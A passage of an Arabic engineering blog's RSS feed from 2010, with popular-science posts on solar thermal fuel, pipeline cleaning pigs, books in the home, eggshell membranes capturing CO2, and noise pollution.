<p>اكتشف الباحثون هذا النوع من الوقود الحراريّ الشمسيّ عام 1907، لكن كان هنالك الكير من المنافسة في ذلك الحين: لم يستطع احد ايجاد المادة الكيميائية والتي بالمُستطاع الاعتماد عليها بحيث يمكننا التغيير بين حالتين كيميائيّتين لنفس المادة؛ وليس هذا فحسب، بل كان من الضروري ان تتوفر في هذه المادة الكيميائية امكانية استيعابها لضوء الشمس في حالتها الاولى و تحرير الحرارة عودة للحالة الكيميائية الاخرى. مركب كهذا تم اكتشافه عام 1966، لكنه كان يشمل مادة الروثينيوم وهي عنصر نادر الوجود في الطبيعة مما يضيف اليه خاصيّة الثمن الباهض، لذا لم يكن عمليا بتاتا لإستغلالٍ منتشر ك حافظ للطاقة. زيادة على ذلك، لم يستطع أحد أن يدرك كيفية عمل هذا المركب مما أعاق  الجهود، وشُروعاً لإيجاد بديل متوفر أكثر بسعر أكثر متناولاً.</p>
<p>في معهد العلوم قد تجاوز الباحثون هذا العائق بواسطة العمل الجاد تجريبيا ونظريا والذي كشف تماما كيفية عمل الجزيء الذي يدعى fulvalene diruthenium بحيث ينجز شروط حفظ الطاقة واطلاقها من جديد. - مُتابعا قوله &#8211;  أن ادراكا كهذا بإمكانه حتما نصب آمال أخرى لإيجاد مواد كيميائية اخرى تعتمد على ذات المضمون والفكرة، متوفرةُ بها الشروط ذاتها</p>
<p style="margin-top: 0cm; margin-right: 0cm; margin-bottom: 18.85pt; margin-left: 0cm; line-height: 16.5pt; vertical-align: baseline;"><span style="font-family: Tahoma, sans-serif; color: #333333;"> لا تزال تواجهنا مشكلة ايجاد مادة بديلة متوفرة في الطبيعه بحيث لا تكون نادرة وباهضة الثمن، لكن انطلاقا من هذا البحث أصبح لدى الخبراء أملا أكبر بإيجاد بديل في وقت قياسيّ.</span></p>
<p style="margin-top: 0cm; margin-right: 0cm; margin-bottom: 18.85pt; margin-left: 0cm; line-height: 16.5pt; vertical-align: baseline;"><span lang="AR-AE">عودة إلى غروسمان، فإنه يصرح قائلا أن الخطوة التالية هي استعمال المزيد من مزج الحدس الكيميائي من قواعد البيانات لعشرات الملايين من الجزيئات الكيميائية المعروفة للنظر بشأن المركبات الاخرى المُرشّحة ذات هيكل أو نهج كيميائيّ مُشابه</span></p>
<p><a href="http://www.handsah.net/wp-content/uploads/2010/11/solar-fuel.jpeg"><img class="aligncenter size-full wp-image-3120" title="solar-fuel" src="http://www.handsah.net/wp-content/uploads/2010/11/solar-fuel.jpeg" alt="" width="500" height="281" /></a></p>
<p>{{مقالات هندسة.نت}}</p>
<p><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F3115&amp;linkname=%D8%AA%D8%AE%D8%B2%D9%8A%D9%86%20%D8%A7%D9%84%D8%B7%D8%A7%D9%82%D8%A9%20%D8%A7%D9%84%D8%B4%D9%85%D8%B3%D9%8A%D9%91%D8%A9%20%D8%A5%D9%84%D9%89%20%D8%A7%D8%AC%D9%84%20%D8%BA%D9%8A%D8%B1%20%D9%85%D9%8F%D8%B3%D9%85%D9%89" title="Twitter" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a class="a2a_button_wordpress" href="http://www.addtoany.com/add_to/wordpress?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F3115&amp;linkname=%D8%AA%D8%AE%D8%B2%D9%8A%D9%86%20%D8%A7%D9%84%D8%B7%D8%A7%D9%82%D8%A9%20%D8%A7%D9%84%D8%B4%D9%85%D8%B3%D9%8A%D9%91%D8%A9%20%D8%A5%D9%84%D9%89%20%D8%A7%D8%AC%D9%84%20%D8%BA%D9%8A%D8%B1%20%D9%85%D9%8F%D8%B3%D9%85%D9%89" title="WordPress" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/wordpress.png" width="16" height="16" alt="WordPress"/></a> <a class="a2a_button_facebook" href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F3115&amp;linkname=%D8%AA%D8%AE%D8%B2%D9%8A%D9%86%20%D8%A7%D9%84%D8%B7%D8%A7%D9%82%D8%A9%20%D8%A7%D9%84%D8%B4%D9%85%D8%B3%D9%8A%D9%91%D8%A9%20%D8%A5%D9%84%D9%89%20%D8%A7%D8%AC%D9%84%20%D8%BA%D9%8A%D8%B1%20%D9%85%D9%8F%D8%B3%D9%85%D9%89" title="Facebook" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a class="a2a_button_google_buzz" href="http://www.addtoany.com/add_to/google_buzz?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F3115&amp;linkname=%D8%AA%D8%AE%D8%B2%D9%8A%D9%86%20%D8%A7%D9%84%D8%B7%D8%A7%D9%82%D8%A9%20%D8%A7%D9%84%D8%B4%D9%85%D8%B3%D9%8A%D9%91%D8%A9%20%D8%A5%D9%84%D9%89%20%D8%A7%D8%AC%D9%84%20%D8%BA%D9%8A%D8%B1%20%D9%85%D9%8F%D8%B3%D9%85%D9%89" title="Google Buzz" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/google_buzz.png" width="16" height="16" alt="Google Buzz"/></a> <a class="a2a_button_google_reader" href="http://www.addtoany.com/add_to/google_reader?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F3115&amp;linkname=%D8%AA%D8%AE%D8%B2%D9%8A%D9%86%20%D8%A7%D9%84%D8%B7%D8%A7%D9%82%D8%A9%20%D8%A7%D9%84%D8%B4%D9%85%D8%B3%D9%8A%D9%91%D8%A9%20%D8%A5%D9%84%D9%89%20%D8%A7%D8%AC%D9%84%20%D8%BA%D9%8A%D8%B1%20%D9%85%D9%8F%D8%B3%D9%85%D9%89" title="Google Reader" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/reader.png" width="16" height="16" alt="Google Reader"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save">شارك هذا المقال</a> </p>]]></content:encoded>
			<wfw:commentRss>http://www.handsah.net/archives/3115/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>تنظيف الأنابيب من الداخل pipeline pigs</title>
		<link>http://www.handsah.net/archives/3109</link>
		<comments>http://www.handsah.net/archives/3109#comments</comments>
		<pubDate>Sun, 14 Nov 2010 11:58:01 +0000</pubDate>
		<dc:creator>عبدالكريم العوير</dc:creator>
				<category><![CDATA[منوعات]]></category>
		<category><![CDATA[هندسة ميكانيك]]></category>

		<guid isPermaLink="false">http://www.handsah.net/?p=3109</guid>
		<description><![CDATA[كثيرة هي الأنابيب الموجودة في محيطنا٬ ولكن السؤال كيف يتم تنظيف هذه الأنابيب بين الفينة [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.handsah.net/wp-content/uploads/2010/11/pipeline_pigs_cleaners.jpeg"><img class="aligncenter size-medium wp-image-3111" title="Sierra Exif JPEG" src="http://www.handsah.net/wp-content/uploads/2010/11/pipeline_pigs_cleaners-300x225.jpg" alt="" width="300" height="225" /></a>كثيرة هي الأنابيب الموجودة في محيطنا٬ ولكن السؤال كيف يتم تنظيف هذه الأنابيب بين الفينة والأخرى من كثير من المتعلقات بها كالطحالب وخلافها من المواد التي  تعلق بها والمواد المترسبة على جدرانها.</p>
<p>تؤثر هذه المواد على عملية الضخ بكاملها فتؤثر على قوة الضخ والضغط داخل الأنابيب وتسبب في تعطل كثير من الأجهزة وانسداد الأنابيب.</p>
<p>ولتفادي هذه المشكلة لابد من اداة تقوم بتنضيف الأنابيب بين الفينة والاخرى٬ يسمونها بالإنجليزية (pipelines pigs</p>
<p>أو خنازير الأنابيب وهي التي تقوم بعملية التنظيف بأكملها حيث ترسل الى داخل الأنابيب بشكل متتابع لتقوم بتنظيف الأنبوب بشكل كامل واعادة جريان المواد داخله بشكل سليم.</p>
<p>وتعمل هذه الأدوات بالطريقة التالية</p>
<p>بداية لابد من ادخالها الى الانابيب بشكل متتال وبطريقة لا مدروسة بحيث لا تعلق داخل الأنابيب أو تسبب تلفها</p>
<p>تسير هذه الأدوات داخل الأنابيب بفعل ضغط الموائع فتجري مع السائل او الغاز داخل الأنبوب حتى تخرج من الفتحة الأخرى بعد ان تكون قد انهت عمليتها ونظفت ما يجب تنظيفه.</p>
<p>وعلى هذا الأساس يجب ان تكون في كل شبكة انابيب أماكن لإدخال مثل هذه الانابيب وأماكن أخرى لإخرجها من النظام</p>
<p>الفيديو التالي يشرح علمية إدخال هذه الأدوات وكيفية عملها</p>

<object width="630" height="450">
<param name="allowfullscreen" value="true" />
<param name="allowscriptaccess" value="always" />
<param name="movie" value="http://www.youtube.com/v/KMoCbqOT7yU&autoplay=0&loop=0&rel=0" />
<param name="wmode" value="transparent">
<embed src="http://www.youtube.com/v/KMoCbqOT7yU&autoplay=0&loop=0&rel=0" type="application/x-shockwave-flash" wmode="transparent" allowfullscreen="true" allowscriptaccess="always" width="630" height="450">
</embed>
</object>


<p><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F3109&amp;linkname=%D8%AA%D9%86%D8%B8%D9%8A%D9%81%20%D8%A7%D9%84%D8%A3%D9%86%D8%A7%D8%A8%D9%8A%D8%A8%20%D9%85%D9%86%20%D8%A7%D9%84%D8%AF%D8%A7%D8%AE%D9%84%20pipeline%20pigs" title="Twitter" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a class="a2a_button_wordpress" href="http://www.addtoany.com/add_to/wordpress?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F3109&amp;linkname=%D8%AA%D9%86%D8%B8%D9%8A%D9%81%20%D8%A7%D9%84%D8%A3%D9%86%D8%A7%D8%A8%D9%8A%D8%A8%20%D9%85%D9%86%20%D8%A7%D9%84%D8%AF%D8%A7%D8%AE%D9%84%20pipeline%20pigs" title="WordPress" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/wordpress.png" width="16" height="16" alt="WordPress"/></a> <a class="a2a_button_facebook" href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F3109&amp;linkname=%D8%AA%D9%86%D8%B8%D9%8A%D9%81%20%D8%A7%D9%84%D8%A3%D9%86%D8%A7%D8%A8%D9%8A%D8%A8%20%D9%85%D9%86%20%D8%A7%D9%84%D8%AF%D8%A7%D8%AE%D9%84%20pipeline%20pigs" title="Facebook" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a class="a2a_button_google_buzz" href="http://www.addtoany.com/add_to/google_buzz?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F3109&amp;linkname=%D8%AA%D9%86%D8%B8%D9%8A%D9%81%20%D8%A7%D9%84%D8%A3%D9%86%D8%A7%D8%A8%D9%8A%D8%A8%20%D9%85%D9%86%20%D8%A7%D9%84%D8%AF%D8%A7%D8%AE%D9%84%20pipeline%20pigs" title="Google Buzz" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/google_buzz.png" width="16" height="16" alt="Google Buzz"/></a> <a class="a2a_button_google_reader" href="http://www.addtoany.com/add_to/google_reader?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F3109&amp;linkname=%D8%AA%D9%86%D8%B8%D9%8A%D9%81%20%D8%A7%D9%84%D8%A3%D9%86%D8%A7%D8%A8%D9%8A%D8%A8%20%D9%85%D9%86%20%D8%A7%D9%84%D8%AF%D8%A7%D8%AE%D9%84%20pipeline%20pigs" title="Google Reader" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/reader.png" width="16" height="16" alt="Google Reader"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save">شارك هذا المقال</a> </p>]]></content:encoded>
			<wfw:commentRss>http://www.handsah.net/archives/3109/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>الكتاب .. في منازلنا !</title>
		<link>http://www.handsah.net/archives/3072</link>
		<comments>http://www.handsah.net/archives/3072#comments</comments>
		<pubDate>Sun, 07 Nov 2010 13:43:34 +0000</pubDate>
		<dc:creator>عمر عاصي</dc:creator>
				<category><![CDATA[منوعات]]></category>

		<guid isPermaLink="false">http://www.handsah.net/?p=3072</guid>
		<description><![CDATA[في الكتاب الألماني &#8221; أن نسكن مع الكتب Mit Büchern wohnen &#8221; الذي قام بتأليفه [...]]]></description>
			<content:encoded><![CDATA[<p>في الكتاب الألماني &#8221; أن نسكن مع الكتب Mit Büchern wohnen &#8221; الذي قام بتأليفه المهندسين المعماريّيّن كارل باور ( Karl Baur ) ورونالد توماس ( Ronald Thomas )  عام 1958 ، تم تقديم أكثر من 200 فكرة لتأثيث المنزل بحيث يجعلنا نسكن مع الكتب ويكون الكتاب جزء حاضر في كل انحاء المنزل !</p>
<p style="text-align: center;"><img src="http://sphotos.ak.fbcdn.net/hphotos-ak-ash2/hs483.ash2/75652_448998361291_130880581291_5975195_984021_n.jpg" alt="" width="483" height="483" /></p>
<p style="text-align: center;">
<p style="text-align: right;">كان من أروع ما قرأت فيه ، ما جاء في المقدمة ، وقد كان كالتالي :  أن نسكن مع الكتب ، فهذه عادة قديمة ، تستحق منّا دائماً ان نتأملها ، قد تتغير الكتب مع مرور الوقت ، بأشكالها ، ألوانها ، أسلوب الكتابة فيها وذلك بحسب القراء وعقلياتهم في كل عصر ، ومع هذا هُناك شيء لا يتغير فيها وهو النور الذي يسطع منها .. وهذا ما تربحه كل غرفة وزاوية .. نجعل الكتاب فيها !!</p>
<p style="text-align: center;"><img src="http://sphotos.ak.fbcdn.net/hphotos-ak-snc4/hs1124.snc4/148607_448998256291_130880581291_5975188_2264687_n.jpg" alt="" /></p>
<p style="text-align: center;">وبينما كنت أستمتع بتصفح هذا الكتاب ، عثرت على مقولة متطرفة للفيزيائي فريدريتش فيلهيلم ، الذي إكتشف كوكب اورانوس عام 1781، جاء فيها :</p>
<p style="text-align: center;">الذي لا يُطالع الكتب ، هو فقير الروح .. وهو أحمق !</p>
<p style="text-align: center;"><img src="http://sphotos.ak.fbcdn.net/hphotos-ak-snc4/hs991.snc4/76441_448998281291_130880581291_5975190_7926993_n.jpg" alt="" /></p>
<p>صورة أخرى لفتت إنتباهي &#8211; حتى عشقتها &#8211; وللأسف لم اعثر لها بديلاً على الإنترنت هي صورة لـ Jean Piaget وهو عالم نفساني مشهور ، بينما هو غارق بين أكوام الكتب في مكتبه ِ ، وعلى مقربة منه هُناك المواد الغذائية الضرورية والتي تبقيه على قيد الحياة كالقهوة والعسل وخبز التوستير ، فليس عنده الكثير من الوقت ليخرج إلى المطبخ <img src='http://www.handsah.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p style="text-align: center;"><img src="http://sphotos.ak.fbcdn.net/hphotos-ak-snc4/hs997.snc4/77088_448998296291_130880581291_5975191_442769_n.jpg" alt="" /></p>
<p style="text-align: center;">عالم الكتب .. عالم مثير .. لا بُد أن نجتهد في تدريب أنفسنا على أن نُصادقه !!</p>
<p style="text-align: center;"><img src="http://sphotos.ak.fbcdn.net/hphotos-ak-snc4/hs897.snc4/73073_448998331291_130880581291_5975193_4403887_n.jpg" alt="" /></p>
<p style="text-align: center;">
<p style="text-align: center;"><img src="http://sphotos.ak.fbcdn.net/hphotos-ak-snc4/hs946.snc4/73901_448998341291_130880581291_5975194_1176146_n.jpg" alt="" /></p>
<p style="text-align: center;">
<p style="text-align: center;">فكيف حال الكتاب في منازلكم ؟ ؟ ؟</p>
<p><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F3072&amp;linkname=%D8%A7%D9%84%D9%83%D8%AA%D8%A7%D8%A8%20..%20%D9%81%D9%8A%20%D9%85%D9%86%D8%A7%D8%B2%D9%84%D9%86%D8%A7%20%21" title="Twitter" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a class="a2a_button_wordpress" href="http://www.addtoany.com/add_to/wordpress?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F3072&amp;linkname=%D8%A7%D9%84%D9%83%D8%AA%D8%A7%D8%A8%20..%20%D9%81%D9%8A%20%D9%85%D9%86%D8%A7%D8%B2%D9%84%D9%86%D8%A7%20%21" title="WordPress" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/wordpress.png" width="16" height="16" alt="WordPress"/></a> <a class="a2a_button_facebook" href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F3072&amp;linkname=%D8%A7%D9%84%D9%83%D8%AA%D8%A7%D8%A8%20..%20%D9%81%D9%8A%20%D9%85%D9%86%D8%A7%D8%B2%D9%84%D9%86%D8%A7%20%21" title="Facebook" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a class="a2a_button_google_buzz" href="http://www.addtoany.com/add_to/google_buzz?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F3072&amp;linkname=%D8%A7%D9%84%D9%83%D8%AA%D8%A7%D8%A8%20..%20%D9%81%D9%8A%20%D9%85%D9%86%D8%A7%D8%B2%D9%84%D9%86%D8%A7%20%21" title="Google Buzz" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/google_buzz.png" width="16" height="16" alt="Google Buzz"/></a> <a class="a2a_button_google_reader" href="http://www.addtoany.com/add_to/google_reader?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F3072&amp;linkname=%D8%A7%D9%84%D9%83%D8%AA%D8%A7%D8%A8%20..%20%D9%81%D9%8A%20%D9%85%D9%86%D8%A7%D8%B2%D9%84%D9%86%D8%A7%20%21" title="Google Reader" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/reader.png" width="16" height="16" alt="Google Reader"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save">شارك هذا المقال</a> </p>]]></content:encoded>
			<wfw:commentRss>http://www.handsah.net/archives/3072/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>وسيلة أخرى لمحاربة ظاهرة الإحتباس الحراري : قشور البيض!</title>
		<link>http://www.handsah.net/archives/3038</link>
		<comments>http://www.handsah.net/archives/3038#comments</comments>
		<pubDate>Thu, 04 Nov 2010 15:34:34 +0000</pubDate>
		<dc:creator>تسنيم تاية</dc:creator>
				<category><![CDATA[الطاقة الخضراء]]></category>

		<guid isPermaLink="false">http://www.handsah.net/?p=3038</guid>
		<description><![CDATA[تكنولوجيا ضغط الكربون لا تزالُ وليدة اللحظة ، فمِن المنطقيّ إذاُ ان يُتابع الباحثون &#8211; [...]]]></description>
			<content:encoded><![CDATA[<p>تكنولوجيا ضغط الكربون لا تزالُ وليدة اللحظة ، فمِن المنطقيّ إذاُ ان يُتابع الباحثون &#8211; بِ غاية الرصد &#8211; كلّ سبيلٍ لظواهر غير اعتياديّة ، لتكون &#8220;ظاهرة&#8221; قشور البيض -إن صحّ التعبير- هي الأغرب في هذا المجال!</p>
<p>باحثون من جامعة  Calcutta وجدوا أنّ غشاء قشرة البيض بوسعِهِ استيعاب سبعة اضعاف كتلته حال تواجدهِ في محيطٍ من ثاني اكسيد الكربون، ممّا يجعله ڪ اسفنجة مثاليّة تعمل على امتصاص فائض كميّات من هذا الغاز المُسبّبة للإحتباس الحراري ؛</p>
<p><strong><em><span style="text-decoration: underline;"><br />
</span></em></strong></p>
<p><strong><span style="text-decoration: underline;">قُشور البيض، وسِرّ الغشاء ..</span></strong></p>
<p>أيّ شخص قام مُسبقا ب صدعِ قشرة بيض بإستطاعتهِ ملاحظة ذاك الغشاء الرقيق المتماسك والذي يصلُ مُكوّنات القشرة بخارجها. كي نتمكّن من القيام بأيّ تأثير في الإنبعاثات العالمية لثاني اكسيد الكربون، يجب ان تتواجد اداة فعّالة وناجعة لفصل الغشاء عن القشرة .</p>
<p>من هنا يبدأ العمل، فتكون انطلاقة فريق الباحثين من الجامعة ليجدوا أنّ حامضاً ضعيف الفعاليّة بمقدوره إتمام الخدعة، لكن! أمر كهذا من الصعب تطبيقهُ على النطاق التجاريّ. معلّلين سبب ذلك بقولهم: &#8220;من المحتمل أن يقوم مزارعو البيض مُستقبلاً بإحتراف تجارة أغشية البيض كمُنتج ثانويّ بقيمته المُضافة ، تماماً ك تكنولوجيا الغاز الحيوي التي قدمت صناعة الثروة الحيوانية مع وسائل لإنتاج الأسمدة القابلة للتسويق.&#8221;</p>
<p><strong><span style="text-decoration: underline;">اكتشف قشرة البيض خاصّتك!</span></strong></p>
<p>في البحث الذي اجرتهُ الجامعه قدّم  Basab Chaudhuri [المرشد القائد لهذا البحث] مُقترَحا مضمونه أن استخلاص غشاء قشرة البيض هي عملية مُجدية وقابلة للتطبيق متطرقا للصعيد التجاريّ، بالإمكان تحقيق ذلك بتعاوننا جميعاً بإفراغ الهواء من قشرة البيض بعد استعمالها واستغلال مكوّناتها. ليس الأمر ببعيد المنال – وإن بدا ذلك!</p>
<p>CleanTechnica.Com</p>
<p><a href="http://www.handsah.net/archives/3038/eggshell-membranes-can-store-carbon-dioxide" rel="attachment wp-att-3040"><img src="http://www.handsah.net/wp-content/uploads/2010/11/eggshell-membranes-can-store-carbon-dioxide.jpg" alt="" title="eggshell-membranes-can-store-carbon-dioxide" width="500" height="352" class="aligncenter size-full wp-image-3040" /></a></p>
<p><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F3038&amp;linkname=%D9%88%D8%B3%D9%8A%D9%84%D8%A9%20%D8%A3%D8%AE%D8%B1%D9%89%20%D9%84%D9%85%D8%AD%D8%A7%D8%B1%D8%A8%D8%A9%20%D8%B8%D8%A7%D9%87%D8%B1%D8%A9%20%D8%A7%D9%84%D8%A5%D8%AD%D8%AA%D8%A8%D8%A7%D8%B3%20%D8%A7%D9%84%D8%AD%D8%B1%D8%A7%D8%B1%D9%8A%20%3A%20%D9%82%D8%B4%D9%88%D8%B1%20%D8%A7%D9%84%D8%A8%D9%8A%D8%B6%21" title="Twitter" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a class="a2a_button_wordpress" href="http://www.addtoany.com/add_to/wordpress?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F3038&amp;linkname=%D9%88%D8%B3%D9%8A%D9%84%D8%A9%20%D8%A3%D8%AE%D8%B1%D9%89%20%D9%84%D9%85%D8%AD%D8%A7%D8%B1%D8%A8%D8%A9%20%D8%B8%D8%A7%D9%87%D8%B1%D8%A9%20%D8%A7%D9%84%D8%A5%D8%AD%D8%AA%D8%A8%D8%A7%D8%B3%20%D8%A7%D9%84%D8%AD%D8%B1%D8%A7%D8%B1%D9%8A%20%3A%20%D9%82%D8%B4%D9%88%D8%B1%20%D8%A7%D9%84%D8%A8%D9%8A%D8%B6%21" title="WordPress" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/wordpress.png" width="16" height="16" alt="WordPress"/></a> <a class="a2a_button_facebook" href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F3038&amp;linkname=%D9%88%D8%B3%D9%8A%D9%84%D8%A9%20%D8%A3%D8%AE%D8%B1%D9%89%20%D9%84%D9%85%D8%AD%D8%A7%D8%B1%D8%A8%D8%A9%20%D8%B8%D8%A7%D9%87%D8%B1%D8%A9%20%D8%A7%D9%84%D8%A5%D8%AD%D8%AA%D8%A8%D8%A7%D8%B3%20%D8%A7%D9%84%D8%AD%D8%B1%D8%A7%D8%B1%D9%8A%20%3A%20%D9%82%D8%B4%D9%88%D8%B1%20%D8%A7%D9%84%D8%A8%D9%8A%D8%B6%21" title="Facebook" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a class="a2a_button_google_buzz" href="http://www.addtoany.com/add_to/google_buzz?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F3038&amp;linkname=%D9%88%D8%B3%D9%8A%D9%84%D8%A9%20%D8%A3%D8%AE%D8%B1%D9%89%20%D9%84%D9%85%D8%AD%D8%A7%D8%B1%D8%A8%D8%A9%20%D8%B8%D8%A7%D9%87%D8%B1%D8%A9%20%D8%A7%D9%84%D8%A5%D8%AD%D8%AA%D8%A8%D8%A7%D8%B3%20%D8%A7%D9%84%D8%AD%D8%B1%D8%A7%D8%B1%D9%8A%20%3A%20%D9%82%D8%B4%D9%88%D8%B1%20%D8%A7%D9%84%D8%A8%D9%8A%D8%B6%21" title="Google Buzz" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/google_buzz.png" width="16" height="16" alt="Google Buzz"/></a> <a class="a2a_button_google_reader" href="http://www.addtoany.com/add_to/google_reader?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F3038&amp;linkname=%D9%88%D8%B3%D9%8A%D9%84%D8%A9%20%D8%A3%D8%AE%D8%B1%D9%89%20%D9%84%D9%85%D8%AD%D8%A7%D8%B1%D8%A8%D8%A9%20%D8%B8%D8%A7%D9%87%D8%B1%D8%A9%20%D8%A7%D9%84%D8%A5%D8%AD%D8%AA%D8%A8%D8%A7%D8%B3%20%D8%A7%D9%84%D8%AD%D8%B1%D8%A7%D8%B1%D9%8A%20%3A%20%D9%82%D8%B4%D9%88%D8%B1%20%D8%A7%D9%84%D8%A8%D9%8A%D8%B6%21" title="Google Reader" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/reader.png" width="16" height="16" alt="Google Reader"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save">شارك هذا المقال</a> </p>]]></content:encoded>
			<wfw:commentRss>http://www.handsah.net/archives/3038/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>التلوث الضوضائي</title>
		<link>http://www.handsah.net/archives/2982</link>
		<comments>http://www.handsah.net/archives/2982#comments</comments>
		<pubDate>Sat, 30 Oct 2010 09:55:07 +0000</pubDate>
		<dc:creator>خالد ابو غالي</dc:creator>
				<category><![CDATA[البيئة]]></category>

		<guid isPermaLink="false">http://www.handsah.net/?p=2982</guid>
		<description><![CDATA[ان مشكلة التلوث الضوضائي من أهم مشاكل المدن المزدحمة و خاصة المدن الصناعية منها , [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.handsah.net/wp-content/uploads/2010/10/Screen-shot-2010-10-30-at-10.56.48.png"><img class="aligncenter size-full wp-image-2987" title="Screen shot 2010-10-30 at 10.56.48" src="http://www.handsah.net/wp-content/uploads/2010/10/Screen-shot-2010-10-30-at-10.56.48.png" alt="" width="401" height="322" /></a></p>
<p>ان مشكلة التلوث الضوضائي من أهم مشاكل المدن المزدحمة و خاصة المدن   الصناعية منها , و هي بلا شك نتيجة من نتائج التقدم الحضاري و التي تؤثر   سلبياً على صحة الإنسان و خاصة حاسة السمع , فالضوضاء الصاخبة و المستمرة   تؤدي إلى الفقدان المؤقت و أحيانا الدائم لحاسة السمع , كما تؤثر في الجهاز   العصبي و تسبب توترات عصبية و قد تؤدي إلى الانهيار العقلي</p>
<p>و قد تسبب في ردود فعل غير متزنة مثل الشرود الذهني , و تقليل   القدرة على التركيز , و هي تسبب أيضا في ارتفاع ضغط الدم , و الإفراز   الزائد لبعض الغدد مما يسبب ارتفاع نسبة السكر  في الدم و الإصابة بقرحة   المعدة و أوجاع الرأس و الشعور بالتعب و الأرق</p>
<p>و تشير بعض الدراسات التي قام بها العلماء النمساويون إلى ان عمر   الإنسان ينقص من 8 إلى 10 سنوات في المدن الكبيرة بالمقارنة مع سكان   الأرياف بسبب التلوث الضوضائي</p>
<p>و قد أظهرت الدراسات ان ضغط الدم عند أطفال المدارس الواقعة بالقرب   من مطار لوس أنجلوس أعلى من لأطفال المدارس البعيدة عن المطار و سرعتهم في   حل المسائل الرياضية اقل , و عند إخفاقهم في حل المسالة سرعان ما يرموها   جانبا و لا يحاولوا إعادة حلها , و حسب النتائج في بعض الدراسات التي نشرت   في إنجلترا , فان واحداً من كل أربعة رجال و واحدة من كل ثلاثة نساء يعانون   من الأمراض العصبية بسبب الضوضاء ,,, و يشكو 16 مليون عامل في الولايات   المتحدة من الضوضاء في المصانع التي يعملون فيها , و تقدر الأضرار التي   تصيب العمال و تؤدي إلى الانقطاع عن العمل بنحو 4 مليارات منم الدولارات   سنوياً</p>
<p>تعريف الضوضاء</p>
<p>هي تلك الأصوات التي لا ينسجم لسماعها الإنسان و لا ينبسط لها , فهي   أذن أصوات خشنة غير منتظمة , لا تؤدي في مجملها إلى معني واضح بعكس   الأنغام الموسيقية التي يطرب لها الإنسان , بالإضافة إلى إنها الأصوات ذات   التردد العالي و تؤدي إلى اهتزاز طبلة الآذن بشدة .</p>
